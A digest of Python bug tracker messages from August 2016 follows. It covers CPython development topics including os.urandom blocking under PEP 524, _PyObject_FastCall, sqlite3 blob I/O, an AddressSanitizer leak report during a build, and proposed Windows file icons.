bugs.python.org Tue Aug 16 11:55:47 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 16 Aug 2016 15:55:47 +0000 Subject: [issue27611] test_tix cannot import _default_root after test_idle In-Reply-To: <1469412436.77.0.964864196793.issue27611@psf.upfronthosting.co.za> Message-ID: <1471362947.05.0.524950027464.issue27611@psf.upfronthosting.co.za> Terry J. Reedy added the comment: This issue is about test_tix failing when run after test_idle, due to the conjunction of two specific causes, one old (tix importing _default_root), one new (IDLE deleting and not restoring _default_root). The new cause exposed the old. Fixing either cause would have negated the conjunction, but at Zack's urging, I fixed both. I even did one extra bit of cleanup in moving the tkinter and os imports to the top where they belong. In my view, my patch was more than complete and this issue is fixed and should have remained closed and should be reclosed. Serhiy, when I wrote the tix patch, I was aware that tix remains buggy in that it will fail if a *user* imports tix, removes _default_root, and calls either of the functions that unconditionally access the attribute. Since test_tix only tests that the tix can be imported and that tix.Tk runs, there may be more bugs. And more cleanups might be needed. However, patching tix to work better is a different issue than this one. If you want, open a new issue, add some tests, and write the patch you outlined. ---------- assignee: terry.reedy -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 12:41:43 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 16 Aug 2016 16:41:43 +0000 Subject: [issue24379] Add operator.subscript as a convenience for creating slices In-Reply-To: <1433398024.28.0.0919512106527.issue24379@psf.upfronthosting.co.za> Message-ID: <1471365703.97.0.079740834582.issue24379@psf.upfronthosting.co.za> Raymond Hettinger added the comment: > We should open a separate issue for leaks in objects with empty __slots__ The leak should be fixed first rather than introducing stub fields hack. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 12:47:57 2016 From: report at bugs.python.org (Roundup Robot) Date: Tue, 16 Aug 2016 16:47:57 +0000 Subject: [issue27776] PEP 524: Make os.urandom() blocking on Linux In-Reply-To: <1471352106.68.0.0657257565728.issue27776@psf.upfronthosting.co.za> Message-ID: <20160816164753.19100.35523.BDF58CAE@psf.io> Roundup Robot added the comment: New changeset 86d0d74bc2e1 by Victor Stinner in branch 'default': Issue #27776: Cleanup random.c https://hg.python.org/cpython/rev/86d0d74bc2e1 New changeset ad141164c792 by Victor Stinner in branch 'default': Issue #27776: dev_urandom(raise=0) now closes the file descriptor on error https://hg.python.org/cpython/rev/ad141164c792 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 12:53:02 2016 From: report at bugs.python.org (STINNER Victor) Date: Tue, 16 Aug 2016 16:53:02 +0000 Subject: [issue27776] PEP 524: Make os.urandom() blocking on Linux In-Reply-To: <1471352106.68.0.0657257565728.issue27776@psf.upfronthosting.co.za> Message-ID: <1471366382.17.0.491390739145.issue27776@psf.upfronthosting.co.za> STINNER Victor added the comment: Patch to make os.urandom() blocking on Linux 3.17+, but use non-blocking urandom in _random.Random constructor and _random.Random.seed() with no seed is set. ---------- keywords: +patch Added file: http://bugs.python.org/file44126/urandom_nonblock.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 13:19:14 2016 From: report at bugs.python.org (Kaeptm Blaubaer) Date: Tue, 16 Aug 2016 17:19:14 +0000 Subject: [issue27727] Update Tools/freeze to use .vcxproj files In-Reply-To: <1470839867.79.0.0217135468923.issue27727@psf.upfronthosting.co.za> Message-ID: <1471367954.02.0.349409347485.issue27727@psf.upfronthosting.co.za> Kaeptm Blaubaer added the comment: Yes, it is an Windows issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 13:25:41 2016 From: report at bugs.python.org (STINNER Victor) Date: Tue, 16 Aug 2016 17:25:41 +0000 Subject: [issue27778] PEP 524: Add os.getrandom() Message-ID: <1471368341.7.0.188364803995.issue27778@psf.upfronthosting.co.za> New submission from STINNER Victor: Attached patch adds os.getrandom(): thin wrapper on the Linux getrandom() syscall. os.getrandom() can return less bytes than requested. The patch is incomplete: it doesn't include documentation. I chose to not implement a loop to not loose entropy if a following call fails (ex: fail with EINTR). Rationale: https://mail.python.org/pipermail/security-sig/2016-July/000072.html We should also add Solaris support later. See also #27776: "PEP 524: Make os.urandom() blocking on Linux". ---------- components: Library (Lib) files: getrandom.patch keywords: patch messages: 272867 nosy: haypo priority: normal severity: normal status: open title: PEP 524: Add os.getrandom() type: security versions: Python 3.6 Added file: http://bugs.python.org/file44127/getrandom.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 13:28:20 2016 From: report at bugs.python.org (Decorater) Date: Tue, 16 Aug 2016 17:28:20 +0000 Subject: [issue27727] Update Tools/freeze to use .vcxproj files In-Reply-To: <1470839867.79.0.0217135468923.issue27727@psf.upfronthosting.co.za> Message-ID: <1471368500.33.0.916451914472.issue27727@psf.upfronthosting.co.za> Decorater added the comment: I see 2 files that references dsp files and those are Tools/freeze/extensions_win32.ini and Tools/freeze/checkextensions_win32.py. ---------- nosy: +Decorater _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 13:30:30 2016 From: report at bugs.python.org (Decorater) Date: Tue, 16 Aug 2016 17:30:30 +0000 Subject: [issue27727] Update Tools/freeze to use .vcxproj files In-Reply-To: <1470839867.79.0.0217135468923.issue27727@psf.upfronthosting.co.za> Message-ID: <1471368630.72.0.876794121726.issue27727@psf.upfronthosting.co.za> Decorater added the comment: Not to mention some parts in the ini references zlib in PCBuild which is no longer in that folder. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 13:33:31 2016 From: report at bugs.python.org (Evelyn Mitchell) Date: Tue, 16 Aug 2016 17:33:31 +0000 Subject: [issue27727] Update Tools/freeze to use .vcxproj files In-Reply-To: <1470839867.79.0.0217135468923.issue27727@psf.upfronthosting.co.za> Message-ID: <1471368811.62.0.186233522511.issue27727@psf.upfronthosting.co.za> Changes by Evelyn Mitchell : ---------- nosy: -Evelyn Mitchell _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 13:33:51 2016 From: report at bugs.python.org (Evelyn Mitchell) Date: Tue, 16 Aug 2016 17:33:51 +0000 Subject: [issue27726] ctags -t does not exists in Makefile.pre.in In-Reply-To: <1470828204.23.0.262773554003.issue27726@psf.upfronthosting.co.za> Message-ID: <1471368831.44.0.576311382171.issue27726@psf.upfronthosting.co.za> Changes by Evelyn Mitchell : ---------- nosy: -Evelyn Mitchell _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 13:56:16 2016 From: report at bugs.python.org (Roundup Robot) Date: Tue, 16 Aug 2016 17:56:16 +0000 Subject: [issue25628] Make namedtuple "verbose" and "rename" parameters into keyword only arguments In-Reply-To: <1447615273.45.0.0364929463097.issue25628@psf.upfronthosting.co.za> Message-ID: <20160816175603.17401.34088.9D003184@psf.io> Roundup Robot added the comment: New changeset f086d6c9d9f6 by Raymond Hettinger in branch 'default': Issue #25628: Make namedtuple "rename" and "verbose" parameters keyword-only. https://hg.python.org/cpython/rev/f086d6c9d9f6 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 14:00:04 2016 From: report at bugs.python.org (Tim Peters) Date: Tue, 16 Aug 2016 18:00:04 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za> Message-ID: <1471370404.93.0.0558794982235.issue27761@psf.upfronthosting.co.za> Tim Peters added the comment: Thanks, Mark! I had worked out the `floor_nroot` algorithm many years ago, but missed the connection to the AM-GM inequality. As a result, instead of being easy, proving correctness was a pain that stretched over pages. Delighted to see how obvious it _can_ be! Just FYI, this was my "cheap" suggestion: from fractions import Fraction def rootn(x, n): g = Fraction(x**(1.0/n)) g = ((n-1)*g + Fraction(x)/g**(n-1)) / n return float(g) For fun, I ran that and your `nroot` over several million random cases with `x` of the form ldexp(random(), randrange(-500, 501)) and `n` in randrange(2, 501). They always delivered the same result, which differed from `x**(1/n)` about a quarter of the time. On average `nroot` took about 3.7 times longer. But reducing the `n` range to randrange(1, 100), over half the time the (common) result differed from `x**(1/n)`, and `nroot` was significantly faster. Moral of the story: none I can see ;-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 14:02:23 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 16 Aug 2016 18:02:23 +0000 Subject: [issue25628] Make namedtuple "verbose" and "rename" parameters into keyword only arguments In-Reply-To: <1447615273.45.0.0364929463097.issue25628@psf.upfronthosting.co.za> Message-ID: <1471370543.08.0.507115331077.issue25628@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 14:34:23 2016 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Tue, 16 Aug 2016 18:34:23 +0000 Subject: [issue27762] ConfigParser ignores in-line comments for lines with semi-colons In-Reply-To: <1471142568.14.0.155713837509.issue27762@psf.upfronthosting.co.za> Message-ID: <1471372463.55.0.592177531557.issue27762@psf.upfronthosting.co.za> ?ukasz Langa added the comment: I'm sorry but we can't do anything about this for Python 2.7 anymore. There's a big danger of altering how existing config files in the wild are being parsed, which is why we only broke compatibility once, with the release of Python 3.2. Even then, doing it very carefully, we found a few instances of painful parsing differences (.pypirc being the most widely spread example). So, the fix here is to switch to Python 3 or use the configparser backport available on PyPI. ---------- resolution: -> wont fix _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 14:34:32 2016 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Tue, 16 Aug 2016 18:34:32 +0000 Subject: [issue27762] ConfigParser ignores in-line comments for lines with semi-colons In-Reply-To: <1471142568.14.0.155713837509.issue27762@psf.upfronthosting.co.za> Message-ID: <1471372472.23.0.393408378198.issue27762@psf.upfronthosting.co.za> Changes by ?ukasz Langa : ---------- status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 14:47:28 2016 From: report at bugs.python.org (Aviv Palivoda) Date: Tue, 16 Aug 2016 18:47:28 +0000 Subject: [issue24905] Allow incremental I/O to blobs in sqlite3 In-Reply-To: <1440144321.97.0.0781853247945.issue24905@psf.upfronthosting.co.za> Message-ID: <1471373248.29.0.822000831264.issue24905@psf.upfronthosting.co.za> Aviv Palivoda added the comment: Pinging as mentioned in the devguide. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 14:58:14 2016 From: report at bugs.python.org (John Hagen) Date: Tue, 16 Aug 2016 18:58:14 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1462844071.91.0.106881823757.issue26988@psf.upfronthosting.co.za> Message-ID: <1471373894.71.0.0719166017922.issue26988@psf.upfronthosting.co.za> John Hagen added the comment: I think there is a small typo in the Changelog / What's New. The Issue isn't hyper-linked: https://docs.python.org/3.6/whatsnew/changelog.html#id2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 15:28:55 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 16 Aug 2016 19:28:55 +0000 Subject: [issue27779] Sync-up docstrings in C version of the the decimal module Message-ID: <1471375735.77.0.977501297817.issue27779@psf.upfronthosting.co.za> New submission from Raymond Hettinger: The pure python version of decimal has extensive docstrings with text and explanatory examples drawn directly from the decimal arithmetic specification. Those should all be copied to the C version as well. This will improve usability for interactive use and improve help(). I would like to leave this work for one of the new aspiring core devs (perhaps Elizabeth, Lisa, or Nofar). ---------- assignee: docs at python components: Documentation keywords: easy messages: 272875 nosy: docs at python, rhettinger priority: normal severity: normal stage: needs patch status: open title: Sync-up docstrings in C version of the the decimal module versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 15:30:30 2016 From: report at bugs.python.org (Ethan Furman) Date: Tue, 16 Aug 2016 19:30:30 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1462844071.91.0.106881823757.issue26988@psf.upfronthosting.co.za> Message-ID: <1471375830.45.0.832145510936.issue26988@psf.upfronthosting.co.za> Ethan Furman added the comment: added missing '#' ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 15:42:54 2016 From: report at bugs.python.org (SilentGhost) Date: Tue, 16 Aug 2016 19:42:54 +0000 Subject: [issue27512] os.fspath is certain to crash when exception raised in __fspath__ In-Reply-To: <1468488493.55.0.648642707869.issue27512@psf.upfronthosting.co.za> Message-ID: <1471376574.1.0.924494223331.issue27512@psf.upfronthosting.co.za> SilentGhost added the comment: Brett, Misc/NEWS entry needs a # before issue number. ---------- nosy: +SilentGhost _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 15:53:11 2016 From: report at bugs.python.org (Brett Cannon) Date: Tue, 16 Aug 2016 19:53:11 +0000 Subject: [issue27512] os.fspath is certain to crash when exception raised in __fspath__ In-Reply-To: <1468488493.55.0.648642707869.issue27512@psf.upfronthosting.co.za> Message-ID: <1471377191.72.0.614031939592.issue27512@psf.upfronthosting.co.za> Brett Cannon added the comment: Thanks, I'll fix it at some point. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 15:55:22 2016 From: report at bugs.python.org (Stefan Krah) Date: Tue, 16 Aug 2016 19:55:22 +0000 Subject: [issue27779] Sync-up docstrings in C version of the the decimal module In-Reply-To: <1471375735.77.0.977501297817.issue27779@psf.upfronthosting.co.za> Message-ID: <1471377322.9.0.0210464326647.issue27779@psf.upfronthosting.co.za> Stefan Krah added the comment: I found the docstrings a bit too verbose (the power() docstring takes up more than a page), but I'm happy to add it and review a patch. The patch authors need to take the hand written function signatures into account. ---------- assignee: docs at python -> skrah nosy: +skrah _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 16:22:07 2016 From: report at bugs.python.org (STINNER Victor) Date: Tue, 16 Aug 2016 20:22:07 +0000 Subject: [issue27181] Add geometric mean to `statistics` module In-Reply-To: <1464901494.08.0.0111988914026.issue27181@psf.upfronthosting.co.za> Message-ID: <1471378927.6.0.796767192777.issue27181@psf.upfronthosting.co.za> STINNER Victor added the comment: Failure on s390x Debian 3.x: http://buildbot.python.org/all/builders/s390x%20Debian%203.x/builds/1455/steps/test/logs/stdio ====================================================================== FAIL: testExactPowers (test.test_statistics.Test_Nth_Root) (i=29, n=11) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/dje/cpython-buildarea/3.x.edelsohn-debian-z/build/Lib/test/test_statistics.py", line 1216, in testExactPowers self.assertEqual(self.nroot(x, n), i) AssertionError: 29.000000000000004 != 29 ====================================================================== FAIL: testExactPowersNegatives (test.test_statistics.Test_Nth_Root) (i=-29, n=11) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/dje/cpython-buildarea/3.x.edelsohn-debian-z/build/Lib/test/test_statistics.py", line 1228, in testExactPowersNegatives self.assertEqual(self.nroot(x, n), i) AssertionError: -29.000000000000004 != -29 ---------- nosy: +haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 16:22:58 2016 From: report at bugs.python.org (Roundup Robot) Date: Tue, 16 Aug 2016 20:22:58 +0000 Subject: [issue27181] Add geometric mean to `statistics` module In-Reply-To: <1464901494.08.0.0111988914026.issue27181@psf.upfronthosting.co.za> Message-ID: <20160816202255.21805.77424.24F4D4DF@psf.io> Roundup Robot added the comment: New changeset 54288b160243 by Victor Stinner in branch 'default': Issue #27181: Skip tests known to fail until a fix is found https://hg.python.org/cpython/rev/54288b160243 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 16:24:35 2016 From: report at bugs.python.org (STINNER Victor) Date: Tue, 16 Aug 2016 20:24:35 +0000 Subject: [issue27181] Add geometric mean to `statistics` module In-Reply-To: <1464901494.08.0.0111988914026.issue27181@psf.upfronthosting.co.za> Message-ID: <1471379075.51.0.798376778342.issue27181@psf.upfronthosting.co.za> STINNER Victor added the comment: I would like to use buildbots to check for regressions, but I see a lot of red buildbots, so buildbots became useless :-/ I skipped failing test_statistics tests, since failures are known. I put the priority to "release blocker". I suggest to either revert the change or find a fix before 3.6b1. ---------- priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 16:24:38 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 16 Aug 2016 20:24:38 +0000 Subject: [issue24905] Allow incremental I/O to blobs in sqlite3 In-Reply-To: <1440144321.97.0.0781853247945.issue24905@psf.upfronthosting.co.za> Message-ID: <1471379078.09.0.696693456459.issue24905@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Added comments on Rietveld. The patch contains typos and violates PEP 7 and PEP 12. And there are questions about API. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 16:31:25 2016 From: report at bugs.python.org (Pam McA'Nulty) Date: Tue, 16 Aug 2016 20:31:25 +0000 Subject: [issue27395] Patch to Increase test coverage of unittest.runner.TextTestResult In-Reply-To: <1466991131.29.0.133038879004.issue27395@psf.upfronthosting.co.za> Message-ID: <1471379485.41.0.587566742003.issue27395@psf.upfronthosting.co.za> Changes by Pam McA'Nulty : ---------- title: Increase test coverage of unittest.runner.TextTestResult -> Patch to Increase test coverage of unittest.runner.TextTestResult _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 17:02:18 2016 From: report at bugs.python.org (Ned Deily) Date: Tue, 16 Aug 2016 21:02:18 +0000 Subject: [issue27645] Supporting native backup facility of SQLite In-Reply-To: <1469728098.24.0.732586701981.issue27645@psf.upfronthosting.co.za> Message-ID: <1471381338.88.0.558489837159.issue27645@psf.upfronthosting.co.za> Changes by Ned Deily : ---------- nosy: +ghaering _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 17:05:56 2016 From: report at bugs.python.org (STINNER Victor) Date: Tue, 16 Aug 2016 21:05:56 +0000 Subject: [issue27128] Add _PyObject_FastCall() In-Reply-To: <1470945903.3.0.476843554273.issue27128@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: Serhiy Storchaka added the comment: >> Do you suggest to not add these 2 new functions? > > Yes, I suggest to not add them. The API for calling is already too large. > Internally we can directly use _PyObject_FastCall(), and third party code > should get benefit from optimized PyObject_CallFunctionObjArgs(). Well, we can start without them, and see later if it's worth it. I didn't propose to add new functions to make the code faster, but to make the API simpler. I dislike PyEval_CallObjectWithKeywords(func, arg, kw) because it has a special case if arg is a tuple. If arg is a tuple, the tuple is unpacked. It already leaded to a complex and very bug in the implementation of generators! See the issue #21209. I'm not sure that such use case is well known and understood by everyone... It's common to call a function with no argument or just one argument, so I proposed to add an obvious and simple API for these common cases. Well, again, I will open a new issue to discuss that. >> > Can existing function PyObject_Call() be optimized to achieve a >> > comparable benefit? >> Sorry, I don't understand. This function requires a tuple. The whole >> purpose of my patch is to avoid temporary tuples. > > Sorry, I meant PyObject_CallFunctionObjArgs() and like. Yes, my full patch does optimize these functions: https://hg.python.org/sandbox/fastcall/file/2dc558e01e66/Objects/abstract.c#l2523 >> Keyword arguments are optional. Having support for them cost nothing when >> they are not used. > > My point is that if keyword arguments are used, this is not a fast call, and > should use old calling protocol. The overhead of creating a tuple for args is > dwarfen by the overhead of creating a dict for kwargs and parsing it. I'm not sure that I understand your point. For example, in my full patch, I have a METH_FASTCALL calling convention for C functions. With this calling convention, a function accepts positional arguments and keyword arguments. If you don't pass keyword arguments, the call should be faster according to my benchmarks. How do you want to implement METH_FASTCALL if you cannot pass keyword arguments? Does it mean that METH_FASTCALL can only be used by the functions which don't accept keyword arguments at all? It's ok if passing keyword arguments is not faster, but simply as fast as before, if the "positional arguments only" case is faster, no? >> I really want to have a "pystack" API. In this patch, the new file looks >> useless, but in the full patch there are many functions including a few >> complex functions. I prefer to add the file now and complete it later. > > But for now there is no a "pystack" API. What do you want to add? See my fastcall branch: https://hg.python.org/sandbox/fastcall/file/2dc558e01e66/Include/pystack.h https://hg.python.org/sandbox/fastcall/file/2dc558e01e66/Python/pystack.c All these functions are private. They are used internally to implement all functions of the Python C API to call functions. > On other side, other code can get a benefit from using _PyTuple_FromArray(). Ah? Maybe you should open a different issue for that. I prefer to have an API specific to build a "stack" to call functions. > Here is alternative simplified patch. > > 1) _PyStack_AsTuple() is renamed to _PyTuple_FromArray() (-2 new files). > 2) Optimized PyObject_CallFunctionObjArgs(), PyObject_CallMethodObjArgs() and > _PyObject_CallMethodIdObjArgs(). My full patch does optimize "everything", it's deliberate to start with something useless but short. > 5) Reverted changes in Objects/descrobject.c. They added a regression in > namedtuple attributes access. Ah? What is the regression? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 17:46:44 2016 From: report at bugs.python.org (STINNER Victor) Date: Tue, 16 Aug 2016 21:46:44 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1462844071.91.0.106881823757.issue26988@psf.upfronthosting.co.za> Message-ID: <1471384004.03.0.692080590132.issue26988@psf.upfronthosting.co.za> STINNER Victor added the comment: FYI Raymond Hettinger started a discussion on Twitter about this feature, and the feedback may not be as good as you expected: https://twitter.com/raymondh/status/765652816849285120 (I dislike this new magic thing, but I also never used the enum module, so I'm not sure that my opinion matters ;-)) ---------- nosy: +haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 17:48:59 2016 From: report at bugs.python.org (Roundup Robot) Date: Tue, 16 Aug 2016 21:48:59 +0000 Subject: [issue18295] Possible integer overflow in PyCode_New() In-Reply-To: <1372108745.44.0.114375127897.issue18295@psf.upfronthosting.co.za> Message-ID: <20160816214857.22388.39569.947284F0@psf.io> Roundup Robot added the comment: New changeset e615718a6455 by Victor Stinner in branch 'default': Use Py_ssize_t in _PyEval_EvalCodeWithName() https://hg.python.org/cpython/rev/e615718a6455 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 17:48:59 2016 From: report at bugs.python.org (Roundup Robot) Date: Tue, 16 Aug 2016 21:48:59 +0000 Subject: [issue27128] Add _PyObject_FastCall() In-Reply-To: <1464257756.81.0.101125062969.issue27128@psf.upfronthosting.co.za> Message-ID: <20160816214857.22388.11070.FAAE581A@psf.io> Roundup Robot added the comment: New changeset 288ec55f1912 by Victor Stinner in branch 'default': Issue #27128: Cleanup _PyEval_EvalCodeWithName() https://hg.python.org/cpython/rev/288ec55f1912 New changeset e615718a6455 by Victor Stinner in branch 'default': Use Py_ssize_t in _PyEval_EvalCodeWithName() https://hg.python.org/cpython/rev/e615718a6455 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 18:18:41 2016 From: report at bugs.python.org (STINNER Victor) Date: Tue, 16 Aug 2016 22:18:41 +0000 Subject: [issue27128] Add _PyObject_FastCall() In-Reply-To: <1464257756.81.0.101125062969.issue27128@psf.upfronthosting.co.za> Message-ID: <1471385921.34.0.400725802683.issue27128@psf.upfronthosting.co.za> STINNER Victor added the comment: Patch version 3: simpler and shorter patch * _PyObject_FastCall() keeps its kwargs parameter, but it must always be NULL. Support for keyword arguments will be added later. * I removed PyObject_CallNoArg() and PyObject_CallArg1() * I moved _PyStack_AsTuple() to Objects/abstract.c. A temporary home until the API grows until to require its own file (Python/pystack.c). I also pushed some changes unrelated to fastcall in Python/ceval.c to simplify the patch. Very few functions are modified (directly or indirectly) to use _PyObject_FastCall(): - PyEval_CallObjectWithKeywords() - PyObject_CallFunction() - PyObject_CallMethod() - _PyObject_CallMethodId() Much more will come in following patches. ---------- Added file: http://bugs.python.org/file44128/fastcall-3.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 18:18:56 2016 From: report at bugs.python.org (geeknik) Date: Tue, 16 Aug 2016 22:18:56 +0000 Subject: [issue27780] Memory leak during Python build (from git c3ff7e7) on Debian 8.5 x64 Message-ID: <1471385936.65.0.896010126062.issue27780@psf.upfronthosting.co.za> New submission from geeknik: CC=afl-clang-fast CXX=afl-clang-fast++ AFL_USE_ASAN=1 ./configure --disable-ipv6 Passes fine. AFL_USE_ASAN=1 make Ends with the following: Parser/pgen ./Grammar/Grammar Include/graminit.h Python/graminit.c ================================================================= ==29392==ERROR: LeakSanitizer: detected memory leaks Direct leak of 12416 byte(s) in 8 object(s) allocated from: #0 0x4a1f2e in realloc (/root/cpython/Parser/pgen+0x4a1f2e) #1 0x4cfcca in PyMem_RawRealloc /root/cpython/Objects/obmalloc.c:414:12 Indirect leak of 2080 byte(s) in 3 object(s) allocated from: #0 0x4a1f2e in realloc (/root/cpython/Parser/pgen+0x4a1f2e) #1 0x4cfcca in PyMem_RawRealloc /root/cpython/Objects/obmalloc.c:414:12 Indirect leak of 898 byte(s) in 86 object(s) allocated from: #0 0x4a1c3b in __interceptor_malloc (/root/cpython/Parser/pgen+0x4a1c3b) #1 0x7fbd7abe3989 in __strdup /build/glibc-uPj9cH/glibc-2.19/string/strdup.c:42 Indirect leak of 520 byte(s) in 1 object(s) allocated from: #0 0x4a1c3b in __interceptor_malloc (/root/cpython/Parser/pgen+0x4a1c3b) #1 0x4d3fa0 in PyMem_RawMalloc /root/cpython/Objects/obmalloc.c:396:12 #2 0x4d3fa0 in _PyObject_Alloc /root/cpython/Objects/obmalloc.c:1467 Indirect leak of 178 byte(s) in 33 object(s) allocated from: #0 0x4a1c3b in __interceptor_malloc (/root/cpython/Parser/pgen+0x4a1c3b) #1 0x4c6756 in translabel /root/cpython/Parser/grammar.c:197:28 #2 0x4c6756 in _Py_translatelabels /root/cpython/Parser/grammar.c:141 SUMMARY: AddressSanitizer: 16092 byte(s) leaked in 131 allocation(s). Makefile:804: recipe for target 'Include/graminit.h' failed make: *** [Include/graminit.h] Error 23 ---------- components: Build messages: 272889 nosy: geeknik priority: normal severity: normal status: open title: Memory leak during Python build (from git c3ff7e7) on Debian 8.5 x64 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 18:20:05 2016 From: report at bugs.python.org (Steve Dower) Date: Tue, 16 Aug 2016 22:20:05 +0000 Subject: [issue27756] Add pyd icon for 3.6 In-Reply-To: <1471119973.85.0.0311186784534.issue27756@psf.upfronthosting.co.za> Message-ID: <1471386005.51.0.426905164253.issue27756@psf.upfronthosting.co.za> Steve Dower added the comment: Got an impressively quick response from one of our willing designers, who has proposed the attached icons. In order, they would be: * pythonw.exe * py.exe (for reference, this mimics the Run launcher icon in Win10) * All .py * python.exe * All .pyc * All .pyd Any suggestions or comments? I personally think they look great. ---------- assignee: -> steve.dower stage: -> patch review type: -> enhancement Added file: http://bugs.python.org/file44129/ProposedIcons.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 18:22:40 2016 From: report at bugs.python.org (STINNER Victor) Date: Tue, 16 Aug 2016 22:22:40 +0000 Subject: [issue27128] Add _PyObject_FastCall() In-Reply-To: <1464257756.81.0.101125062969.issue27128@psf.upfronthosting.co.za> Message-ID: <1471386160.14.0.569274814256.issue27128@psf.upfronthosting.co.za> STINNER Victor added the comment: > 5) Reverted changes in Objects/descrobject.c. They added a regression in > namedtuple attributes access. Oh, I now understand. The change makes "namedtuple.attr" slower. With fastcall-3.patch attached to this issue, the fast path is not taken on this benchmark, and so you loose the removed optimization (tuple cached in the modified descriptor function). In fact, you need the "full" fastcall change to make this attribute lookup *faster*: https://bugs.python.org/issue26814#msg263999 So yeah, it's better to wait until more changes are merged. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 19:44:02 2016 From: report at bugs.python.org (Eryk Sun) Date: Tue, 16 Aug 2016 23:44:02 +0000 Subject: [issue27756] Add pyd icon for 3.6 In-Reply-To: <1471119973.85.0.0311186784534.issue27756@psf.upfronthosting.co.za> Message-ID: <1471391042.7.0.834403450945.issue27756@psf.upfronthosting.co.za> Eryk Sun added the comment: Should pyw.exe get its own icon? Otherwise these look good to me; they're less busy than the existing icons, which is probably for the best. Is there a potential licensing problem with borrowing the look of the Win+R dialog icon, or is this fair use? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 19:57:35 2016 From: report at bugs.python.org (Steve Dower) Date: Tue, 16 Aug 2016 23:57:35 +0000 Subject: [issue27756] Add pyd icon for 3.6 In-Reply-To: <1471119973.85.0.0311186784534.issue27756@psf.upfronthosting.co.za> Message-ID: <1471391855.86.0.720699179783.issue27756@psf.upfronthosting.co.za> Steve Dower added the comment: It's probably not worth doing pyw.exe - even distinguishing between python.exe and pythonw.exe is only possible because we came up with that icon before the alternative one for the launcher. The style just imitates the icon in the Run dialog (the "feeling of speed"), it's not the same image. Only the Python logo is a concern, but we're allowed to use that one :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 20:26:29 2016 From: report at bugs.python.org (Larry Hastings) Date: Wed, 17 Aug 2016 00:26:29 +0000 Subject: [issue24648] Allocation of values array in split dicts should use small object allocator. In-Reply-To: <1437080324.24.0.647779902092.issue24648@psf.upfronthosting.co.za> Message-ID: <1471393589.83.0.554977334809.issue24648@psf.upfronthosting.co.za> Changes by Larry Hastings : ---------- nosy: +aniawsz, larry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 16 20:27:27 2016 From: report at bugs.python.org (Larry Hastings) Date: Wed, 17 Aug 2016 00:27:27 +0000 Subject: [issue24648] Allocation of values array in split dicts should use small object allocator. In-Reply-To: <1437080324.24.0.647779902092.issue24648@psf.upfronthosting.co.za> Message-ID: <1471393647.03.0.165478174976.issue24648@psf.upfronthosting.co.za> Larry Hastings added the comment: Assigning to myself on behalf of 